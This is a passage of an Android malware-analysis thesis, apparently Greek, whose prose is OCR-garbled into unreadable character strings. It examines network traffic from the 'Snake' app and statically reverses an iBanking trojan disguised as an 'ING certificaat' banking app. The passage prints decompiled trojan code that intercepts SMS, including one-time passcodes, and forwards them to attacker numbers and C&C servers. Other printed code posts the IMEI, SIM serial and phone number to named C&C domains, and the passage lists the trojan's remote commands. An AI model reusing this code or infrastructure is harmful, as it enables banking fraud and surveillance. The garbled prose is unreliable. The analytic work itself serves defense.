Wi-Fi

AKYPO OK

Ewkova 123 - Ot emIAOYEG xprioNG TOU TMLOTOOLNTIKOU
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2Tn ouvéxela EekvoU e T Aettoupyia Tou ZAP Kal BAETIOULE TO IPWTA AMTOTEAECHLOTOL
(Ewkova 124). Ekatovtadeg post requests oe Stadopeg dteuBuvoelg oto dladiktuo Epxovral va
emuPBefalwoovv Ta 600 €idape otnv otatiki availuon tou Kwdka tng edappoyns. H

Sltadiktuakn Kivnon kataypdadetol akOpa Kot 0tav n edappoyr MopapEVEL KAELOTH.

Y ™ http:/91haowan.com
v " apl
" GET:adsDomain.jsplcid,countryCode.deviceld, deviceNam)

¥ L ¥ http://fapi.gadmobs.com
v o oversea_adjust_and_download_write_redis
v U notify
v v download

B ™ POST:app(multipart/form-data)
VU # GET:app
v http://fepget.hmapi.com: 7011
POST:pgetad.do(androidid,api.appkey.appname.count.gp.has|
v http://epupdate. hmapi.com: 7013
POST:pkup.do(androidid, api,appkey,appname,gp, hastravel,im
v http://hgupdate.ecapi.com: 7017
POST:uthrkup.do(api.appkey.appname,gp.imid,kv,language.Ip
POST:pthrkup.do(api,appkey, appname,gp.imid, kv,language,ip
v http://hgupdate . hmapl.com: 7017
POST:uthrkup.do(api.appkey.appname,.gp.imid.kv,language.Ip
POST:pthrkup.do(api,appkey,appname,gp.imid,.kv,language.lp
v WU http://interface. 234vs.com
v ¥ newservice
¥ POST:newopenOrSale.action{(,500cPmHNbmE®@,C8Nglqa
FU POST:newgetApks, action(,500cPmHNbmME®@, 9zf8wxS)Q4 0
v http:/interface.kokmobi.com
v newservice
POST:newopenOrSale.action(,500cPmHNbmME®@, C8Nglqake
FPOST:newgetApks,action(,5S00cPmHNbME®@, 9zf8wxS)Q40@,
\ 4 W http://interface.madpush.com
Y Lo W newservice
U POST:newopenOrSale. action(,500cPmHNbmME®@, C8Nglga
W POST:newgetApks, action(,500cPmHNbmME@, 9zfF8wx»S)Q4 0

\ U http://interface.mccpublish.com
Y L VY newservice
U POST:newopenOrsale.action(,500cPmHNbmME®, C8Nglga
4 http://interfacel.kokmobi.com
¥ L newservice

POST:newopenOrSale.action(,500cPmHNbmME®@, C8Nglgake
POST:newgetApks, action(,SO00cPmMHNbME®, 9zf8wxS)|Q40@,

Ewova 124 - Ta autruota tou Snake

BAEmovtag to History péoa and to ZAP SLamIOTWVOULE TO EUPOG TWV ETIKOLVWVLWY
TIou Mpaypatonolovvtal (Ewdva 125). KaBe S€uTtepOAENTO UTIAPXOUV ATIO VA £WC KOLL TIEVTE
Tautoxpova attipata cuvdeong oe dladopeg SleuBUVOELS. Ze PEPLKA AEMTA TOL OULTAUATA

elval mAéov xALadeg.

| | = Histery 1 \ Search I 3 Breal

@ @ i FitenoFF

] Req. Timestamp

Ewkéva 125 - To History tou ZAP
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Atepeuvwvtag ta dedopéva ou amooTEANEL N epappoyn eMBERALWVOULE Kot TIAAL
TWV KWOLKA Tov eiyape peletnoel. ITéAvovtal mAnpodopieg, petall aAAwv, mou adopolv

(Ewdva 126, Ewkova 127 kal Ewdva 128):

e TN xwpa

e 1N yAwooa

® TO MOVTEAO

e 1tnv ékdoon tou Android

e TO IMSI

e TOV operator Tou SIKTUoU KvnTAG tTnAsdwviog
e 10 IMEI

e TOV aplOUO TwV eMefepyacTwyv

e 10 péyeBog tng SD kaptag

et PO Bt A A B St

Header: Text |=] [Body: Test |=] [ ()

FOST http://api.gadmobs.comsoversea_adjust_and_download_write_redis/notify/download/app HTTR/1.1 Iy
Connection: Keep-Alive I
'

ry=---------7daasd158c0
roid 6.0.1; SM-AS0OFU Build/MMB25M) L/

Content-Length:
Host: api.gadmol

" android_id®:*
ion':6.0.1%, "appid® " 1000125" , " imsi
0f607264f c6318a92b9e13c65db7cdach,

{*channeln
&f 350be 402

< P
112499177472, “resolution

Ewkéva 126 - Ot mAnpogopiec mou Stappéouv (IMSI, IMEI ka)

[ 5 Quick Start | =+ Request | ] 3¢ Break | . | Script Console |

Header; Text |=] |Body: Text ||

pdate.=0api.com:7017/pthrkup.do HTTP/1.1
202

nt-Ty ap| ation/x-www-form. urlencoded
hgupdate.eoapi .com: 7017
on: Keep-Alive

1_202052933741223- Language=cl
name =Snake model=SM- ASOOF U

uuid=sbe

appkey
networkn

Ewkova 127 - Ot mAnpogopiec rtou ditappéouv (operator ko)

Header: Text |v) [Body: Text |w] () )

oSt http://m. AEDXORCE. COM/pmsg/api /20 HTTR/1.1
Content-Le ara

H02206654907 A622%
5221 anguagets2 2t
2zlibversionszz

Ewova 128 - ArtootolAr) e URL encoded

SeAiba 71 amnd 122



Malware Analysis | Security Evaluation for Android Applications

E€apeTika eviladpEpov BprKape To yEYovog OTL Ut pXe oto Google Play ebappoyn pe
To Ovopa Packet Capture (Ewkova 129) n omoio AELTOUpPYEL e TTOPOUOLO TPOTIO UE QUTOV TOU
ZAP, dnuloupyel Kal eykaBLoTA mLoTOmoLNTIKO, aAAA ekTeAElTaL €€ OAOKANPOU OTN CUCKEUN).
Tnv Soklpdoape Kot KotoypaPape T MakETa mou €oteAve n epappoyn Snake (Ewkova 130),

OTWwG Ko oto ZAP.

Packet Capture
2= Grey Shirts ANOIFMA

42 % 500 x\.+ 3
3 XIA. KPITIKEG Afyeg PEGI3 ®

Ewkova 129 - To Packet Capture oto Google Play

93% W 16:30

pecobeAs ¥

P

POST /pmsg/api/20 HTTP/1.1

Content-Length: 378

Host: m.AEDXDRCB.COM

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

P

%7B%22android_version%22%3A%226.0.1%22%2(%22imsi%22%3A
%22202052933741223%22%2(%221i mei %22%3A%22358022066549074%22%2C%22mac
%22%3A%2202%3A00%3A00%3A00%3A00%3A00%22%2C%22mode 1 %2 2%3A%225M - ASOOFU
%22%2C%22ne t%22%3A1%2C%22] anguage%22%3A%22e] %22%2C%22channe]1 %22%3A
%22b_jmwf_001%22%2CKk22client_id%22%3A%22%22%2(%221is5ys%22%3AFal seXx2C
%221ibversion%22%3A%2210000%22%2C%221ibs%22%3A%5B%5D%7D

Ewkova 130 - Kataypapn nakétwy ano to Packet Capture
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3.3 Installing the malicious application (mobile app ING certificaat)

To enmopevVo app oU ETAEYOULE VO LEAETOOUUE glval n epappoyn pe ovoua ING
certificaat. O TPOMOC eyKATAOTAONG KAl AELTOUPYLOG TOU app TEPLYPAPETAL CUVOTTTLKA
TIOPAKATW. OL ETUTIOEUEVOL XPNOLLOTIOLOUV TAKTLKEG social engineering yla va mpooeAkUoouV
Ta BUpaTd Toug oto va kavouv download kat va eykataoctiioouv tnv edpappoyr otnv Android
ouokeun touG. To BUpa ocuvnBwg eival Nén poAucuévo amd éva trojan OLKOVOULKOU
TIEPLEXOUEVOU OTOV UTIOAOYLOTH TOU, TO OTmoio OSnUIoUpyeL €va pop up HpAVUHA OTaV
ETUOKEMTETOL Ml Tpamellky otooeAida, INTWVIAC TOU va €yKATOOTHOEL Hia dopntn

edappoyn wg npoobeto PETpo aodaleLag.

210 pop up auto punvupa Inteitol to TNAEPWVO TOU XPrioTn TIPOKELUEVOU VO TOU OTAAEL
éva link ywa va kavel download to kKakOBouAo AOYLOMIKO HECW SMS. TO OUYKEKPLUEVO
malware Unopel va mpooapUooTel va LoLAleL e EMIONUO AOYLOMLKO amo pia oslpd tpamnelwyv
N epapuoywv npootaciag and kakoBoula Aoylopikd. MOALG eykataotabei oto tTnAédwvo, o
ETUTIOEPEVOG €XEL OXESOV TA PN TPOCBOON OTN CUCKEUT] KAl UIMOPEL va UTIOKAEP EL GWVNTIKEC

Kol SMS eTmikolvwViEC.

Mpotol eupabuvoupe otnv avaluon atilel va avadEPoupe OTL OTNV MEPUTTWON TIOU
e€etaloupe, to logo tnG KakoBouAng edappoyns (Ewdva 133) ival TAVOUOLOTUTIO LE TO
Aoyoturmo plag tpamnelag (Eikova 131). KOO AUTAE TNG OMoLOTNTAS lval n mapanAdavnon
TOU XPNOoTN OTL MPOKELTAL YLO KATIOLO VOULUO application €tol woTe va MpoXwpPnoeL TEAKA,

Xwpig va To yvwpllel, otnv eykatdotacn tTou malware.

ING

Ewoéva 131 - ING bank logo

ITn ouvEéxelo MapaBETOUE KATIO Ao Ta permissions (Ewdva 132) mou {ntouvtat
KATA TNV €ykotaotaon tng edappoyns kat mapouctdloupe tnv edapuoyn-malware

EYKATEOTNUEVN TTAEOV OTN oUoKeUN (Ewkova 133).
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ING certificaat

1M

QEAETE VA EYKATACGTOETE QUTHY TNV EPaAppoyn;

NQ ETUTPENETAL O AUTI TNV EPAPUOYT Va:

¢ OunpoowniKEG oag tAnpoopieg
avayvwan 6260|.|L'V:a."\" EMapuy

e YMNpeoieg yia TIC OMOLEG XPEWVECDTE
aneuBeiac khnon apiBpwy THAEPWVOU, anoaTodn gnvupatwy SMS

e Tapnvopara cag
avayvwon SMS n MMS, eneEepyacia SMS n MMS, Anyn SMS

¢ Enwkowwvia dikTO0UL

nAnpng npoofaor) oto Internet

e Xwpocg anoBnKevong

Tpononoinon ) Suaypapn NEpLEOPEVWY KapTag SD

e EAeyyot hardware
Hyoypaynon

e TnAepwvikeg KANOELG

Avayvworn KaraoTaons Kat TauToTnTag TNAEpuvou

¢ Epyaleia guoThparog

ahhayn karactaonc Wi-Fi, akhayn ouvdeowporntag dikTuou

Eppavion ohwy

EykatdacTaon Akupo

Ewkova 132 — permissions

ING certifica:

s B N N

Ewova 133 - malicious app logo

SeAiba 74 amnd 122



Malware Analysis | Security Evaluation for Android Applications
3.3.1 Static Properties Analysis & Manual Code Reversing

MNa tnv  otatiky avalvon ™G €dapuoyng, HE  TAAPEG  Ovoua
com.BioTechnology.iClientsService4 kavoupe apxlka unzip to apk apxeio (Ewova 134) Kot
ETELTA XpNoLomolwvTag to Java keytool (Ewova 135), Eva BonOntiko mpdypappa Slaxeipong
TILOTOTIOLNTIKWY, CUAAEYOULE OCO TO SUVATOV TIEPLOCOTEPEC TTANPODOPLES YLa TO EKTEAEDLUO.

- m B 0 & O

META-INF res AndroidMani classes.dex ING_.apk resources.ar
fest.xml sC

"] santoku@santoku-virtual-machine: ~/Documents/ibanking_staticAnaly
File Edit Tabs Help

Ewova 134 - unzip ING.apk

JuA\éyoupe TANPOdOPILEG VIOl TO AMOTUNMWHA TOU TILOTOTOLNTLKOU, TN cuvoyr) tou
6nAadn unoAoyilopévn pe tig md5, shal kat sha256 hash functions Mpokettal ywa éva self

signed TiotomolnTko e mepiodo eykupotntag amo to 2013 €wg to 3012.

irtual-machine

sirtual-machine

Ewova 135 - [TAnpogopieg miotomotntikou
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YrevOupiloupe OTL OKOTOG TNC avAAUONG Twv static properties Kal Tou KWSLKA TG
epapuoyng eivat n cuAdoyry 600 To SuUVATOV TTEPLOCOTEPWVY OTOLXELWV KOl AEMTOUEPELWV

yUpw aro tov Tpomo Asttoupylag Tou ekdotote binary.

Enopevo Brua n e€€taon Twv unoAolmwv dakéAwv mou e€ayovtal KATA TO unzip Tou
apk apyelou. e évav and autoug mopATNPOULE TNV UTIAPEN ULOG OELPAG ELKOVWY OO VOLLUA
Aoyotuna tpanelwv kal edappoywyv npootaciag anod kakoBoula npoypappota (Ewkova 136)
ermuBePfatwvovtag tn duvatdtnta Tou malware va mapanmAava Toug XPHoTEG LECW TNG XPNONG

VOULLWY AOYOTUTIWV.

V' & 7 v © U & ™

launchers. ic_launcher6. ic_launcher?. ic_launcher8. ok btnjpg ok btn111.p ok btn112.p
png png png png ng ng

0RO CcCelansl X0

GO&0 %06

Ewkova 136 - Logo VOULUWY EQaPUOYWY TTOU xpnaotuomnolel to malware

Y& ouVEXELa TNG e€€Taonc Twv static properties, e€dyoupe HEow TNG EVIOANG strings
(Ewova 137) OAeg TG oupBolooelpég amod To classes.dex apyxeio kal Tig amoBnkeVoOUUE o€ Eva

txt apxelo yla va kdvoupe avalitnon yla tuxov umorta strings.

Ewoéva 137 - evtoAn] strings

Ao tnv €peuva MopaBETOULE KATIOLEG UTIOTITEG OUMBOAOCELPEG OL OTtoleC oxetTilovTtal
HE TNV eloaywyn ot Baon &edopévwv Twv MAnpodoplwv Twv SMS UNVUUATWY TOU
avtaAAdcoel to BUpa (Etkova 138) KaBwG Kal e KATIOLEG EVTOAEG TTOU TLBavov oTéAvovtal

pHéow C&C server otnv HLOAUCUEVN cUOKeUN (Ewkova 139).
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PCREATE TABLE IF NOT EXISTS VERYPASS ('ID" INT AUTO_INCREMENT,'CERT' CHAR(30),'PASS' CHAR(30), PRIMARY KEY('ID"))

CREATE TABLE IF NOT EXISTS inforegLastCommand ( "id" INT, "sms' INT, "call’ INT, 'record’ INT, "isInit’ INT, 'telNum' CHAR(25), 'isHacked' INT, PRIMARY KEY('id') )

CREATE TABLE IF NOT EXISTS refSMs ( 'id" INT AUTO_INCREMENT,'msgText' CHAR(150), 'isTransfer' BYTE NOT NULL,'MessageBody' CHAR(150), 'OriginatingAddress’ CHAR(150) NOT NULL|
CREATE TABLE IF NOT EXISTS refUserinfo ( 'id" INTAUTO_INCREMENT NOT NULL,'user' CHAR(25), 'psw' CHAR(35), PRIMARY KEY('id") )

Ewova 138 - suspicious strings #1

—
COMMAND_GET_CALL_LIST
COMMAND_GET_CONTACT _LIST
COMMAND_GET_SMS_LIST
COMMAND_PING
COMMAND_SEND_SMS
COMMAND_START_RECORD
COMMAND_STOP_RECORD
COMMAND_WIPE_DATA
COMPARATOR
COM_CALL_LIST
COM_CONTACT_LIST
COM_NULL

COM_PING
COM_SEND_SMS
COM_SMS_LIST

COM_START _CALL
COM_START_RECORD
COM_START_SMS
COM_STOP_CALL
COM_STOP_RECORD
COM_STOP_SMS
COM_WIPE_DATA

Ewkova 139 - suspicious strings #2

Eniong pa amnd tig x\adeg cupPorooelpég mou e€dyovial adopd TNV MOPAKATW
S1evBuvon (Ewdva 140) n omola emonpaivetal wg KakoBouAn otav ewodyetat oto VirusTotal

yla e€€taon (Ewova 141).

Ihttp:,u",-"23.253.126.58 |

Ewova 140 - suspicious http address

3 (1) 3 engines detected this URL

http://23.253.126.58/
23.253.126.58

Community P
Score

Ewkéva 141 - AnoteAéouata VirusTotal
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MNapdAAnAa, pe tn xprion tou apktool kavoupe decompile to apk file (Ewéva 142)

TIPOKELUEVOU va avakTooupe To Manifest.xml kot kat enméktaon va e€dyoupe mAnpodopieg

yla Ta permissions Tng ebappoyng.

I:
I:
I:
I:
I:
I:
I:
I:
I:
I:
I:

<u-virtual-machine

nachine

Ewkova 142 - apktool decompile

H epappoyn {ntad cuvoAika 18 permissions (Ewdva 143) Ta MEPLOGOTEPQ OO TA OTOLaL

glval moAU UmormTa yla Pl epappoyrn mou Loxupilletal mwg sival éva Tpamnellko app.

—<manifest android:versionCode="2" android:versionName="1.2" package="com.BioTechnology.iClientsServiced">
<uses-permission android:name="android.permission. READ PHONE_STATE"/>
<uses-permission android:name="android.permission. ACCESS WIFI STATE"/>
<uses-permission android:name="android.permission. CHANGE_WIFI STATE"/>
<uses-permission android:name="android.permission.READ PHONE_STATE"/>

<uses-permission android:name="android.permission. CALL. PHONE"/>
<uses-permission android:name="android.permission. ACCESS NETWORK _STATE"/>
<uses-permission android:name="android.permission. CHANGE_NETWORK_STATE"(>
<uses-permission android:name="android.permission. WRITE EXTERNAL STORAGE"/>
<uses-permission android:name="android.permission. ACCESS NETWORK STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission. RECEIVE_BOOT COMPLETED"/>
<uses-permission android:name="android.permission. WRITE SMS"/>
<uses-permission android:name="android.permission. READ _SMS"/>
<uses-permission android:name="android.permission. RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND SMS"/>
<uses-permission android:name="android.permission. RECEIVE_BOOT COMPLETED"/>
<uses-permission android:name="android.permission. READ CONTACTS"/>
<uses-permission android:name="android.permission. RECORD AUDIO"/>

Ewkova 143 — permissions

Ze aUTO To onueio mapabétoupe ta o “evdladépovta” permissions mou BpEOnkav

oTnVv nopandavw Alota:

e RECEIVE_BOOT_COMPLETED: Emtpénet otnv edappoyn 0 AQYn  Ttou

ACTION_BOOT_COMPLETED mou petadibetal PeTA TNV OAOKARpWON TNG EKKLvNONG
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TOU ouoTnuatoG. Me daAl\a Adyla, €TUTPETMEL oTtnV edoappoyrn vo EeKVAOEL UOALG
oAokAnpwBOel n ekkivnon.

e WRITE/READ_SMS: Emutpénel otnv edapupoy tnv eyypadn/avayvwon SMS
HUNVULATWV.

e RECEIVE_SMS: Ermtitpénel otnv edpappoyn thv AqPn SMS punvupdtwv.

e RECORD_AUDIO: Ertitpémnel otnv edappoyn TV kKataypodr) NXNTIKOU TIEPLEXOUEVOU.

e WRITE_EXTERNAL_STORAGE: Emutpénel otnv edappoyn tnv gyypadn oe eEWTEPLKO
Xwpo anoBbrkeuong.

e READ_CONTACTS: Emutpénel otnv edoappoyn tnv avayvwon twv SeSopévwv twv
enadwv Tou Xpnotn.

e CALL_PHONE: Emutpénel otnv edpapuoyn va EeKvioel pia tThAedwvikn KAnon xwpig
va epaoel amno tn Siemadr xpriotn tou Dialer wote o xprotng va emPeBatwoel tnv
KAron.

e READ_PHONE_STATE: Emutpémnel mpooBoon HOVOo yla avayvwon otnv KaTaotaon
tAedwvou, cuumneplhapBavopévou Tou aplBpol TNAEPWVOU TNG CUCKEUNG, TwWV
TpEXOUOWV TIANPodopLwy SIKTUOU KvNT¢ TNAEPwVIag, TNG KATAOTAONG KAOEWV Kall

HLag Alotag Aoyaplacpwyv tThAepwvou mou €Xouv KataxwpnOel otn cuokeun.

Onwg avadépBnke ponyouEVwE, To e€eTaloevo malware mpooapuoletal WoTe va
HOLAlEL YE ETONUO AOYLOULKO amod pia oelpd tpamelwv ) epapuoywv MPooTaciag amno
KaKOBouAa Aoylopilkd. e autd to onueio g€nyolpe, mopouolalovtag Tov KWK TG
epapuoyng, tov AOyo yla Tov Omoio oTnV MPOKELEVN TepimTwon unmodueTal Eva emnionpo
Aoylopiko tpamnelog. Metad tn xprion Tou apktool, anoktoupe mpocBaon ota .xml apxeia kat

TIAPOTNPOULE Ta €ENG:

e Jta apxeia Manifest.xml (Eiéva 144) kot strings.xml (Ewéva 145) SnAwvetal ota ‘voutun’
epappuoyn vnoduetal kabe dopd to malware. Etol, otnv ik pag nepintwon opiletat
hardcoded w¢ ovopa 1o ING_certificaat kat w¢ Aoyotumo to ic_launcher4 mou Bploketatl

oto pakelo drawable o omolo¢ TAPOUGLAGTNKE KAL TTPONYOUUEVWG (Etkova 136).
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J <application a.ndmid:theme="@style}App?heme" android:label="@string/app_name" android:icon="@string/icon_path" |

Ewkova 144 - App name & icon, Manifest.xml|

<string name="app name">ING certificaat</string=>
<siring name="template index">4</string>
<siring name="icon path">@drawablefic launcherd</string>

Ewkova 145 - App name & icon, strings.xml

e Avatpéxoviag otov ev Aoyw ¢akelo kot TAAL (Eikova 146), mopotnpoUUE OTL TO
ic_launcher4 avrtiotolxel oto VOUlHO Aoyotumo plag tpamelag. Méow autng TG
Sdladikaoiag Aoumov to kKakoBoulo Aoylouikd Suvatal kabe dopd va umoduetal Kot
Slapopetikn edpappoyn avaloya pe To ovoua mou opiletal hardcoded kat To Aoyodtumo

Tou eTiAéyeTal oto strings.xml apxeio.

‘g” F ING "( / @ @

ic_launcher,j ic_launcher2. ic_launcher3. ic_launcher4. ic_launcher5. ic_launcheré. ic_launcher7. ic_launcher8. ok_20x20.pn
Pg png png png png png png png g

Ewova 146 - ErtAoyr Aoyotumou

Mna tnv peAétn tou Kwdika TG ehapuoyns XpnoLUomoloUe To epyaleio dex2jar
(Ewkova 147) amod ) ouAloyn tou Santoku, petatpénovrag to .dex apxelo oe jar format kot otn
ouveéxela tov jd-gui decompiler (Ewdva 148) yla va Soupe tn doun kal ta packages tou app.
Katd tpomo mapopolo e QUTOV TIOU OKOAOUBNOoOUE OTNV OVAAUGCN TNG TIPONYOULEVNG
KakOBouAng edpapuoyng, unoBaAloupe to und e€€taon Seiypa oto epyaieio MobSF. Ta
QTTOTEAECLLOTO TIOU TIPOKUTITOUV XPNOLUOTIOLOUVTAL 0OV 08NYyOC TIPOKELUEVOU VO EOTIACOUUE

ota ouolwdn onueia kabwg e€etalou e Tov KwWdika oto JD-GUI epyaleio.

B & -

classes- ING_.apk resources.ar
dex2jar.jar sC

B santoku@santoku-virtual-machin...ocuments/ibanking_staticAnalysis — + X
File Edit Tabs Help

s/ibanking

/ibanking staticAnaly

Ewova 147 - convert dex to jar
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classes-dex2jarjar =
R
¥ 1 com

* B BioTechnology.iClientsServiced
P ] soft360

Ewkova 148 - jd-gui epyaleio

Y€ QUTO TO onueilo mapouactalou e Ta onueia otov Kwdika java tng epapuoyng mou

KATASELKVUOUV TNV KAKOBOUAN CUUTEPLPOPA TOU CUYKEKPLUEVOU EKTEAECLUOU.

e EAeyxoGg NG Kataotaong ouvdeong oto Swadiktuo -  com.soft360.web
networkConnection.class (Ewkova 149)

e Avaktnon aptBuou IMEI - com.soft360.iService MainActivity.class (Etkova 150)

this.connectivityManager = ((ConnectivityManager)paramContext.getSystemService("connectivity"));
NetworkInfo localMetworkInfo = this.connectivityManager.getActiveNetworkInfo();

Ewova 149 - check connectivity

IStrj_ng strl = ((TelephonyManager)getSystemService("phone")).getDeviceId(); I

Ewkova 150 - IMEI

o ‘Yrapén tnAedwvikou aptBuou (hardcoded value, +79 — kwdko¢ xwpag: Pwaoia) o omoiog
Bploketal KATW oo tov EAeyxo tou emtiBépevou — com.soft360.iService smsParser.class
(Etkova 151). AUTEG OL HETOBANTEC XPNOLLOTIOLOUVTAL OPYOTEPA OE SLOPOPETIKEC KAATELG
Kol LEBGSouC. Xapaktnplotikod mapadetlypa, n uEBodog hackSMS (Ewdva 152), otnv omoia
To pnvopata SMS mou €xouv umokAarmet kataypadovrtal o €vav server Tou Bploketal
UTIO TOV €AEy)0 ToU emttiBEpevou. Ta SMS powBouvral emiong otov ev Adyw tnAedwviko

apLopo.

public static String fell = "+79867075145";

public static final String fell I = "+790670751454";
public static String fell femp = "+79067075145";
public static final String tel2 = "+79067075145";

Ewkova 151 - TnAepwvikoc aptduog (hardcoded value)
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public void hackSMS(SmsManager paramSmsManager, SmsMessage paramSmsMessage, String paramString)
{
dbActions localdbActions = dbActions.getInstance(null);
try
{
long 1 = localdbActions.insSMStoDB(paramSmsMessage) ;
Log.d("mylog", "SmsRecieverinsert sms to DB, id:" + 1);
try
{
Log.d("mylog”, "SmsRecieversend sms to SERVER " + paramstring);
webServiceRobot localwebServiceRobot = webServiceRobot.getInstance(AService.TelNumber);
if (this.context !'= null)
localwebServiceRobot.setContext(this.context);
localwebServiceRobot.postSMS(paramString, paramSmsMessage.getDisplayOriginatingAddress());
Log.d("mylog”, "SmsRecieversend sms to DB " + paramString);
paramSmsManager.sendTextMessage(smsParser.fell, null, paramString, null, null);
if (localdbActions.updSMSDeliveryStatus(1))
Log.d("mylog", "SmsRecieverupdate sms id:" + 1);
return;|
}
catch (Exception localException2)
{
while (true)
Log.d("mylog", "SmsReciever fail " + localException2.toString());

Ewova 152 - hackSMS

AtileL va avadepBel 0TL N €peuon KAACEWV Kal LEBOSWV OXETIKWV e UTIOKAOTIH) SMS
UNVULATWV glval avapevouevn kabwg e€etaloupe €va malware mou otoxeUeL ToV TPATEILKO
Topéa. O emutiBépevog dev apkel va €xeL mpooPaocn oto username Kol To password Tou

Bupatog aAa xpetaletal kot To OTP, mou otéAvetal HEow SMS pUnvUHATOC, 0TO KVNTO TOoU.

e Emkowwvia tou malware pe C&C servers, Ta domain twv onoiwv opilovtal oto apyeio
arrays.xml (Ewova 153) mou Bpioketat oto path res/values adou yivel to decompile pe ™

xpnon tou apktool.

—<resources>
— <string-array name="adm domens">
<item>myredskins.net</item>
<item>mynamesmith.com</item>
</string-array>
</resources>

) values - + x
File Edit View Bookmarks Go Tools Help
[+l € = » A |@|/home/santoku/Documents/ibanking_staticAnalysis/apktool_decompile/ING_| ¥

Places v . [ | [ e |

B Desktop colors.xml dimens.xml ids.xml public.xml
[ Trash can

@ Applications

Santoku0.5 = .
@ santoku strings.xml  styles.xml

Ewkova 153 - Malicious domains

SeAiba 82 amd 122



Malware Analysis | Security Evaluation for Android Applications

Mo ouykekpluéva, To malware eAéyxel Tnv Stabeoipotnta twv C&C servers péow HTTP
POST requests ato <domain>/iBanking/sms/ping.php (Ewéva 154). Eav n cuvéeon sivatl
erutuxng (status code 200) tote kavel POST pla oelpa mAnpodoplwy (Etkéva 155) oTo
opxelo mou opiletal amo to Tuipa Kwdika this.context.getString(2131034118) (Ewkova
155). To apyeilo auto, avatpexovtag Katd oelpad oto R.class (Ewdva 156) kot TO
res/value/strings.xml kataAryoupe otL eival to <domain>/iBanking/sms/index.php
(Ewkova 157). Zuvenwg, to malware kataypadetl mAnpodopieg mou adopouv Tov
TNAePWVIKO aplBuo, To oelplako aplBpuo SIM, To LOVTEAO Kol TOV KATAOKEVOOTH) KaBWG

eniong kal Tov povadiko aptbuo IMEI oto apxeio index.php.

| <string name="urlPing">/iBanking/sms/ping.php</string> |

Ewova 154 - urlPing | res\values\strings.xml

HttpPost localHttpPost = new HttpPost('http://" + this.context.getResources().getStringArray(2131099648) [AService.domain_index] + this.context.getString(2131034118))

String strl;

try

{
ArrayList localArrayList = new Arraylist();
localArraylist.add(new BasicNameValuePair("bot_id", this.context.getString(2131034116)));
localArraylist.add(new BasicNameValuePair("number”, getTelNumber(}});
localArraylist.add(new BasicNameValuePair{"iccid", getSIMnumber()));
localArrayList.add(new BasicNameValuePair('model”, getDeviceName()));
localArraylList.add(new BasicNameValuePair("imei", getIMEI()));
localArraylist.add(new BasicNameValuePair("os", "Android " + Build.VERSION.RELEASE));
localArrayList.add(new BasicNameValuePair("control number", smsParser.tell));

Ewova 155 - POST to index.php

I public static final int urlPostData = 2131834118; ]|

Ewdva 156 - R.class link to strings.xml file

I <sitring name="urlPostData">/iBanking/sms/index.php</string> I

Ewova 157 - urlPostData | res\value\strings.xml|

O C&C server €MIKOWVWVEL UE TN LOAUCHEVN CUCKEUT LECW ULOG OELPAC EVTOAWV OL OTIOLEG
Bpiokovtal oto apxeio <domain>/iBanking/sms/sync.php. Evtomiloupe TO OXETKO
KOopUATL kwdika oto com.soft360.web.webServiceRobot.class. To apyxeio and to onoio
SwaBalovtal oL  evioAég amd Tov  server OnAWVETOL OTO  TUAMA  KwdKa
this.context.getString(2131034120) (Ewova 158). AvaTtp€Xovtag KOTtd OfElpd  OTo
R.class(Ewkova 159) Kal otn cuvéxela oto strings.xml kataArpyoupe oto sync.php (Ewkoéva

160)
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private void read_command_from_server{int paramIntl, int paramInt2, int paramInt3)
{
DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
localDefaultHttpClient.getParams().setParameter("http.protocol.content-charset”, "UTF-8");
HttpPost localHttpPost = new HttpPost("http://" + this.context.getResources().getStringArray(2131099648) [AService.domain_index] + this.context.getString(2131034120));

Ewova 158 - read commands from C&C server

I public static final int urlCommand = 2131834120;]

Ewkova 159 - urlCommand | R.class

I <string name=”urlCommand”::-,r‘iBankingfsmsfsync.phpf.,#striug:-I

Ewova 160 - urlCommand | strings.xml

Ta commands mou otéAvovtal ano tov server (Ewdva 161) adopolv TNV anoctoAr] SMS
UNVUHATWY, TNV €vapén/TepUaTIONO Kataypadnic NXNTKOU TIEPLEXOUEVOU, TNV ATIOCTOAN
TWV 6e860UEVWV TWV EMAPWYV TNG CUCKEUNG, TNV ATTOGTOAN TNG AlOTOC TWV KANCEWV KATL..
EruBeBaiwvovtat £Tol Kol Ta anoteAéopata mou e€nxbnoav napandvw (Ewdva 139) katd

TN MEAETN Twv static properties KoL TILO OUYKEKPLUEVO TWV CUUPBOAOCELPWY TNG

edappoyng.

private static fimal String COMMAND GET CALL LIST = "call list";
private static final String COMMAND GET CONTACT LIST = "contact list";
private static fimal String COMMAND GET SMS LIST = "sms list";
private static final String COMMAND PING = "ping";

private static fimal String COMMAND SEND SMS = “"sendSMS";

private static final String COMMAND START RECORD = "start record”;
private static fimal String COMMAND STOP RECORD = "stop record";
private static final String COMMAND WIPE DATA = "wipe data";

Ewkova 161 - C&C server commands

Q¢ televtaio BrApa ewodyoupe ta 2 autd domains oto VirusTotal yia avdAuon kat
pHeAeTOUUE Ta anoteAéopata. MNapatnpoupe 6t to domain myredskins.net emonpaivetot
arno 4 antivirus engines w¢ kakoBoulo (Ewkova 162) evw oto nedio details tou VirusTotal
avtAoU e Anpodopieg yla tnVv IP Tou avilotolyel og auto kabwc kat To http status code
(Ewova 163). Avtiotolxa, n avaluon tou VirusTotal yia to domain mynamesmith.com to
kKatadelkvUeLl emiong w¢ Kakofoulo, amd 3 antivirus engines, mapéxovtag €mMTAEOV
TIANPOdOPILEC YL TO TIWG EXEL LAPKAPEL TO KABeva TNV ouyKekpLuévn StevBuvon (Ewdva

164).
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-y
4 (D) 4 engines detected this URL
http://myredskins.net/
myredskins. net
Community
Score

Ewova 162 - AvaAvon domain myredskins.net #1

Final URL

http://myredskins_net/

Serving IP Address
184 105192 2

Status Code
200

Ewova 163 — AvaAuon domain myredskins.net #2

-

3 (D) 3 engines detected this URL
hitp://mynamesmith.com/
mynamesmith.com

Community

Score

DETECTION DETAILS COMMUNITY
Categories
BitDefender parked
DrWeb known infection source
Forcepoint ThreatSeeker  malicious web sites. mobile malware
HTTP Response
Final URL
htle.;".f'mxnam65|11ith com/

Ewova 164 - AvaAvan domain mynamesmith.com
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Yriapén pnxaviopou avayvwplong neptBailovtog avaluong. Mo cUYKEKPLUEVA, TO
malware €xeL tn Suvatotnta, eAéyxovrag kamoleg default puBuioelg mou €xet €vag
